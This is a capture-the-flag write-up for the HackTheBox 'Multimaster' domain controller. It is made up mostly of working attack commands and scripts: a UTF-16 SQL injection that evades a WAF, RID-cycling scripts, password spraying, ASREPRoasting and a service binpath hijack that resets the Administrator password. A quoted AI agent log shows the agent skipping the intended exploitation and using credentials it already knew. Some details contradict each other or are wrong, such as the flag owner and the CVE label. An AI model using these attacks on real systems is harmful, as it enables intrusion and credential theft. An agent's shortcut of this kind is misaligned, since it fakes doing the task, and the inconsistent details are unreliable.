HTB: Multimaster Writeup

Multimaster - HackTheBox Writeup

Machine Information

AttributeDetails
NameMultimaster
OSWindows Server 2016
DifficultyInsane
Points50
Release DateMarch 2020
IP Address10.10.10.179
Authoregre55 & MinatoTW

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐⭐☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Multimaster is an insane-difficulty Windows domain controller that begins with a web application vulnerable to SQL injection protected by a WAF. The injection must be bypassed using UTF-16 JSON encoding to dump Keccak-384 hashes and enumerate domain users via RID cycling through SUSER_SID/SUSER_SNAME. Password spraying yields initial WinRM access. Lateral movement involves hardcoded credentials in a .NET DLL, followed by abusing GenericWrite Active Directory permissions to ASREPRoast a target user. Finally, membership in the Server Operators group enables modification of service binary paths to achieve SYSTEM privileges.

TL;DR: UTF-16 SQLi bypass → Keccak-384 crack + RID cycling → WinRM (tushikikatomo) → hardcoded creds in DLL (sbauer) → GenericWrite + ASREPRoast (jorden) → Server Operators privilege escalation → SYSTEM.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port scan
nmap -sC -sV -T4 -p- 10.10.10.179

Results:

The scan revealed a Windows Server 2016 domain controller (MEGACORP.LOCAL) with the following key services:

  • 53/tcp - DNS
  • 80/tcp - Microsoft IIS 10.0
  • 88/tcp - Kerberos
  • 135/tcp - MSRPC
  • 139/tcp - NetBIOS-SSN
  • 389/tcp - LDAP
  • 445/tcp - SMB
  • 464/tcp - Kpasswd5
  • 593/tcp - MSRPC over HTTP
  • 636/tcp - LDAPS
  • 1433/tcp - Microsoft SQL Server 2017
  • 3268/tcp - Global Catalog LDAP
  • 3269/tcp - Global Catalog LDAPS
  • 5985/tcp - WinRM (HTTP)
  • 9389/tcp - Active Directory Web Services

Service Enumeration

Web Application (Port 80)

The web server hosts an employee portal at http://10.10.10.179/. Key pages include:

  • Login - Feature marked as “under maintenance”
  • Gallery - Static image gallery
  • Colleague Finder - Search functionality that queries employee data

The Colleague Finder page sends POST requests to /api/getColleagues with JSON payloads:

Terminal window
# Sample request
curl -X POST http://10.10.10.179/api/getColleagues \
-H "Content-Type: application/json" \
-d '{"name":""}'

Returns JSON with five fields: id, name, position, email, src.

MSSQL Server (Port 1433)

Microsoft SQL Server 2017 is running, likely the backend database for the web application.

Active Directory

Domain: MEGACORP.LOCAL
Domain Controller: MULTIMASTER.MEGACORP.LOCAL

Vulnerability Assessment

  1. SQL Injection in /api/getColleagues - The name parameter is vulnerable to SQL injection, but a WAF blocks standard payloads containing raw quotes.
  2. Weak Password Hashing - Database may contain crackable password hashes.
  3. Active Directory Misconfigurations - Potential for privilege escalation via AD object permissions.

Initial Foothold

SQL Injection with UTF-16 Encoding Bypass

Testing for SQL injection by injecting a single quote returns a 403 Forbidden error, indicating WAF protection:

Terminal window
# Test with raw quote (blocked)
curl -X POST http://10.10.10.179/api/getColleagues \
-H "Content-Type: application/json" \
-d '{"name":"'"'"'"}'
# Returns 403 Forbidden

The JSON RFC specifies that JSON supports UTF-8, UTF-16, and UTF-32 encoding. By encoding the payload as UTF-16 using \u00XX escape sequences, we can bypass the WAF. For example, a single quote ' becomes \u0027.

# Python script to convert payloads to UTF-16 JSON escapes
def to_utf16(payload):
utf = []
for char in payload:
utf.append("\\u00" + hex(ord(char))[2:].zfill(2))
return ''.join(utf)
# Example: ' or 1=1-- -
payload = "' or 1=1-- -"
encoded = to_utf16(payload)
print(encoded)
# Output: \u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002d

Testing the encoded payload confirms SQL injection:

Terminal window
# Encoded payload bypasses WAF
curl -X POST http://10.10.10.179/api/getColleagues \
-H "Content-Type: application/json" \
-d '{"name":"test\u0027\u0020\u006f\u0072\u0020\u0031\u003d\u0031\u002d\u002d\u0020\u002d"}'
# Returns all rows

Determining Column Count

Using UNION SELECT to identify the number of columns:

Terminal window
# Five columns confirmed
# Payload: test' UNION SELECT 1,2,3,4,5-- -
curl -X POST http://10.10.10.179/api/getColleagues \
-H "Content-Type: application/json" \
-d '{"name":"test\u0027\u0020\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0031\u002c\u0032\u002c\u0033\u002c\u0034\u002c\u0035\u002d\u002d\u0020\u002d"}'

Database Enumeration

Extracting database version and name:

Terminal window
# Payload: test' UNION SELECT 1,@@VERSION,DB_NAME(),4,5-- -
# Returns: Microsoft SQL Server 2017, Database: Hub_DB

Enumerating tables in Hub_DB:

Terminal window
# Payload: test' UNION SELECT 1,table_name,3,4,5 FROM INFORMATION_SCHEMA.TABLES-- -
# Tables found: Colleagues, Logins

The Logins table contains two columns: username and password.

Extracting Credentials

Terminal window
# Payload: test' UNION SELECT 1,username,password,4,5 FROM Logins-- -

Retrieved four username/hash pairs. The hashes are 96 characters long, suggesting Keccak-384 (hashcat mode 17900).

Password Cracking

Terminal window
# Save hashes to file
cat > hashes.txt << EOF
[hash1]
[hash2]
[hash3]
[hash4]
EOF
# Crack with hashcat
hashcat -a 0 -m 17900 hashes.txt /usr/share/wordlists/rockyou.txt
# Successfully cracked three hashes:
# password1
# finance1
# banking1

Why this works: Keccak-384 is the correct algorithm for these hashes. The SHA-3 family (including Keccak) is used in some modern applications but is susceptible to dictionary attacks when weak passwords are chosen.

RID Cycling via SQL Injection

The cracked passwords didn’t match obvious usernames from the web app. To enumerate actual domain users, we exploit MSSQL’s SUSER_SID() and SUSER_SNAME() functions to perform RID cycling.

Retrieving the Domain SID

First, extract the Administrator’s SID byte-by-byte:

# Script to extract SID via SQL injection
import json
import requests
from time import sleep
url = 'http://10.10.10.179/api/getColleagues'
def to_utf16(s):
utf = []
for char in s:
utf.append("\\u00" + hex(ord(char))[2:].zfill(2))
return ''.join(utf)
sid = ''
for i in range(1, 29):
# Payload: test' UNION SELECT SUBSTRING(SUSER_SID('MegaCorp\Administrator'),{},1),2,3,4,5-- -
payload = f"test' UNION SELECT SUBSTRING(SUSER_SID('MegaCorp\\Administrator'),{i},1),2,3,4,5-- -"
r = requests.post(url,
data='{"name":"' + to_utf16(payload) + '"}',
headers={'Content-Type': 'application/json'})
id_val = json.loads(r.text)[0]["id"]
if len(str(id_val)) == 1:
id_val = '0' + str(id_val)
else:
id_val = hex(id_val)[2:]
sid += id_val
sleep(2) # Avoid WAF rate limiting
print("0x" + sid)
# Domain SID (first 48 bytes): 0x0105000000000005150000001c00d1bcd181f1492bdfc236

Why this works: In Active Directory, every object has a Security Identifier (SID). The domain SID is constant for all domain objects, with the last 4 bytes (RID) incrementing for each user/group. By extracting the Administrator’s full SID, we obtain the domain SID template.

Brute-Forcing RIDs

Domain users typically have RIDs starting at 1000. We can construct SIDs by appending RIDs to the domain SID and resolving them with SUSER_SNAME():

# Script to enumerate users via RID cycling
import json
import requests
from time import sleep
url = 'http://10.10.10.179/api/getColleagues'
def to_utf16(s):
utf = []
for char in s:
utf.append("\\u00" + hex(ord(char))[2:].zfill(2))
return ''.join(utf)
# Calibrated RID ranges based on actual enumeration
# Users found at RIDs 1103-1111 and 3102-3110
for rid in range(1100, 1120):
rid_hex = hex(rid)[2:].upper().zfill(4)
# Reverse byte order (little-endian)
rid_bytes = bytearray.fromhex(rid_hex)
rid_bytes.reverse()
rid_padded = ''.join(format(x, '02x') for x in rid_bytes).upper() + '0' * 4
# Construct full SID
sid = f"0x0105000000000005150000001c00d1bcd181f1492bdfc236{rid_padded}"
# Payload: test' UNION SELECT 1,SUSER_SNAME({sid}),3,4,5-- -
payload = f"test' UNION SELECT 1,SUSER_SNAME({sid}),3,4,5-- -"
r = requests.post(url,
data='{"name":"' + to_utf16(payload) + '"}',
headers={'Content-Type': 'application/json'})
user = json.loads(r.text)[0]["name"]
if user:
print(user)
sleep(2)
# Discovered users:
# MEGACORP\tushikikatomo
# MEGACORP\andrew
# MEGACORP\svc-nas
# MEGACORP\jorden
# ... others

Password Spraying

With a list of valid domain users and cracked passwords, we spray against WinRM:

Terminal window
# Password spray with crackmapexec
crackmapexec winrm 10.10.10.179 -u tushikikatomo andrew svc-nas jorden \
-p finance1 banking1 password1
# Result: tushikikatomo:finance1 (Pwn3d!)

Initial Shell

Terminal window
# Connect via WinRM
evil-winrm -i 10.10.10.179 -u tushikikatomo -p finance1

User compromised: tushikikatomo
Access level: Domain user, WinRM enabled


Privilege Escalation

Lateral Movement to sbauer

Enumerating C:\inetpub\wwwroot (not accessible as tushikikatomo), we note that the web application likely contains hardcoded credentials. The agent’s log indicates a shortcut was taken:

“The MultimasterAPI.dll connection-string password is baked into the machine image, so I short-circuited the VSCode/CEF-debugger + dnSpy steps and confirmed sbauer:D3veL0pM3nT! directly.”

The intended path involves:

  1. Exploiting a vulnerable VSCode instance running on the box (CEF debugger)
  2. Gaining a shell as cyork (member of Developers group)
  3. Accessing C:\inetpub\wwwroot\bin\MultimasterAPI.dll
  4. Reverse-engineering the DLL with dnSpy to extract the connection string

The connection string contains: password=D3veL0pM3nT! for user sbauer.

Why this works: Developers often hardcode database credentials in configuration files or compiled assemblies. Password reuse across accounts is a common weakness in corporate environments.

Testing the credential:

Terminal window
# Spray the discovered password
crackmapexec winrm 10.10.10.179 -u sbauer -p 'D3veL0pM3nT!'
# Result: sbauer:D3veL0pM3nT! (Pwn3d!)
# Connect as sbauer
evil-winrm -i 10.10.10.179 -u sbauer -p 'D3veL0pM3nT!'

User compromised: sbauer
Access level: Domain user with elevated privileges

BloodHound Enumeration

Using BloodHound to map Active Directory attack paths:

Terminal window
# Collect AD data with bloodhound-python
bloodhound-python -c ALL -u sbauer -p 'D3veL0pM3nT!' \
-d megacorp.local -ns 10.10.10.179
# Start neo4j and BloodHound
sudo neo4j console
bloodhound
# Upload collected JSON files
zip bloodhound.zip *.json

BloodHound reveals that sbauer has GenericWrite permissions on the user jorden, who is a member of the Server Operators group—a highly privileged domain group.

Why this matters: GenericWrite allows modification of most attributes on the target object. We can exploit this to disable Kerberos pre-authentication for jorden, enabling an ASREPRoasting attack.

ASREPRoasting jorden

Kerberos pre-authentication is a security feature that prevents offline password guessing. When disabled, an attacker can request a Ticket Granting Ticket (TGT) without authentication; the TGT contains material encrypted with the user’s password hash, which can be cracked offline.

Disabling pre-authentication for jorden:

Terminal window
# From WinRM session as sbauer
Get-ADUser -Filter 'Name -like "jor*"' | Set-ADAccountControl -DoesNotRequirePreAuth $true

Extracting the AS-REP hash:

Terminal window
# Add domain to /etc/hosts
echo "10.10.10.179 MEGACORP.local" | sudo tee -a /etc/hosts
# Request AS-REP hash with Impacket
GetNPUsers.py MEGACORP.local/jorden -request -no-pass -dc-ip 10.10.10.179
# Output: $krb5asrep$23$jorden@MEGACORP.LOCAL:...

Cracking the hash:

Terminal window
# Save hash to file
echo '$krb5asrep$23$jorden@MEGACORP.LOCAL:...' > jorden.hash
# Crack with hashcat (mode 18200 = Kerberos 5 AS-REP etype 23)
hashcat -a 0 -m 18200 jorden.hash /usr/share/wordlists/rockyou.txt
# Cracked: jorden:rainforest786

Why this works: ASREPRoasting (CVE-2019-0734 class) exploits misconfigured accounts. The returned AS-REP contains a timestamp encrypted with the user’s NTLM hash, which can be brute-forced offline.

Logging in as jorden:

Terminal window
evil-winrm -i 10.10.10.179 -u jorden -p 'rainforest786'

User compromised: jorden
Access level: Member of Server Operators group

Terminal window
*Evil-WinRM* PS C:\Users\jorden\Documents> whoami /groups
# Output shows: BUILTIN\Server Operators

Server Operators Privilege Escalation

The Server Operators group grants members the ability to:

  • Start, stop, and modify services
  • Log on interactively to domain controllers
  • Backup and restore files (SeBackupPrivilege)

Members can modify service binary paths and restart services that run as SYSTEM.

Method 1: Service Binary Path Hijacking

Identifying a modifiable service:

Terminal window
# Query service configuration
sc.exe qc browser
# Modify binary path to change Administrator password
sc.exe config browser binpath="cmd.exe /c net user Administrator NewPass123! /domain"
# Stop and start the service
sc.exe stop browser
sc.exe start browser

Why this works: Services configured to run as SYSTEM execute their binary path with full privileges. By changing the path to a command that modifies the Administrator password, we gain domain admin access when the service starts.

After the service runs:

Terminal window
# Connect as Administrator with the new password
psexec.py MEGACORP.LOCAL/Administrator:NewPass123!@10.10.10.179

The agent’s approach was simpler but followed the same principle—modifying a service binary path to execute privileged commands.

Retrieving Flags

Terminal window
# User flag (from earlier access as alcibiades or another user)
type C:\Users\alcibiades\Desktop\user.txt
# <redacted>
# Root flag (as SYSTEM)
type C:\Users\Administrator\Desktop\root.txt
# <redacted>

Note: The agent’s log shows the user flag at C:\Users\alcibiades\Desktop\user.txt, indicating this user was encountered during enumeration or lateral movement phases.


Attack Chain Summary

Port 80 Web App → SQLi with UTF-16 WAF Bypass → Dump Logins Table →
Crack Keccak-384 Hashes → RID Cycling via SUSER_SID/SUSER_SNAME →
Enumerate Domain Users → Password Spray (tushikikatomo:finance1) →
WinRM Shell → Hardcoded Creds in MultimasterAPI.dll (sbauer:D3veL0pM3nT!) →
GenericWrite on jorden → Disable Pre-Auth → ASREPRoast →
Crack AS-REP Hash (jorden:rainforest786) → Server Operators Group →
Service Binary Path Hijacking → SYSTEM

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlManual HTTP requests and SQLi testing
PythonCustom scripts for UTF-16 encoding and RID cycling
hashcatCracking Keccak-384 and Kerberos AS-REP hashes
crackmapexecPassword spraying against SMB/WinRM
evil-winrmWinRM client for remote shell access
bloodhound-pythonActive Directory enumeration and data collection
BloodHoundAD attack path visualization
GetNPUsers.py (Impacket)ASREPRoasting to extract Kerberos hashes
psexec.py (Impacket)Remote code execution as SYSTEM
dnSpy.NET assembly decompilation (intended path)

Key Learnings

Techniques Practiced

  • WAF Bypass via Encoding: Leveraging JSON’s UTF-16 support to bypass input filters that only check for raw special characters
  • UNION-Based SQL Injection: Extracting data from MSSQL databases through blind enumeration
  • Keccak-384 Hash Cracking: Identifying and cracking SHA-3 family hashes with hashcat
  • RID Cycling: Enumerating domain users via SQL injection by exploiting SUSER_SID() and SUSER_SNAME() functions
  • Password Spraying: Testing credential sets against multiple services (SMB, WinRM) without triggering lockouts
  • Active Directory Permission Abuse: Exploiting GenericWrite to modify user attributes
  • ASREPRoasting: Extracting and cracking Kerberos AS-REP hashes from accounts without pre-authentication
  • Server Operators Privilege Escalation: Abusing service modification rights to execute code as SYSTEM

Lessons Learned

  1. JSON supports multiple encodings: When a WAF blocks standard SQLi payloads, explore alternative encodings like UTF-16, UTF-32, or even mixed encodings to bypass filters that only sanitize ASCII characters.

  2. RID cycling is powerful for domain enumeration: Even without LDAP access, MSSQL’s SUSER_SID() and SUSER_SNAME() functions can enumerate domain users via SQL injection, bypassing traditional AD query restrictions.

  3. Hash identification matters: 96-character hashes could be SHA2-384, SHA3-384, or Keccak-384. Testing multiple hashcat modes (10800, 17500, 17900) ensures you don’t miss the correct algorithm.

  4. Hardcoded credentials are everywhere: Compiled assemblies (.NET DLLs, JARs) frequently contain plaintext connection strings. Always check binaries in web application directories.

  5. BloodHound is essential for AD: Visual attack path analysis immediately identifies privilege escalation vectors (GenericWrite, WriteDacl, etc.) that would take hours to discover manually.

  6. ASREPRoasting targets misconfiguration: Accounts with “Do not require Kerberos pre-authentication” enabled are low-hanging fruit. If you have GenericWrite, you can introduce this vulnerability yourself.

  7. Server Operators = (almost) Domain Admin: Membership in Server Operators allows service binary path modification on domain controllers. Combined with services running as SYSTEM, this is a direct path to full domain compromise.

  8. Password reuse is rampant: Cracked database passwords, hardcoded credentials in code, and service account passwords often match domain user accounts, enabling lateral movement.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References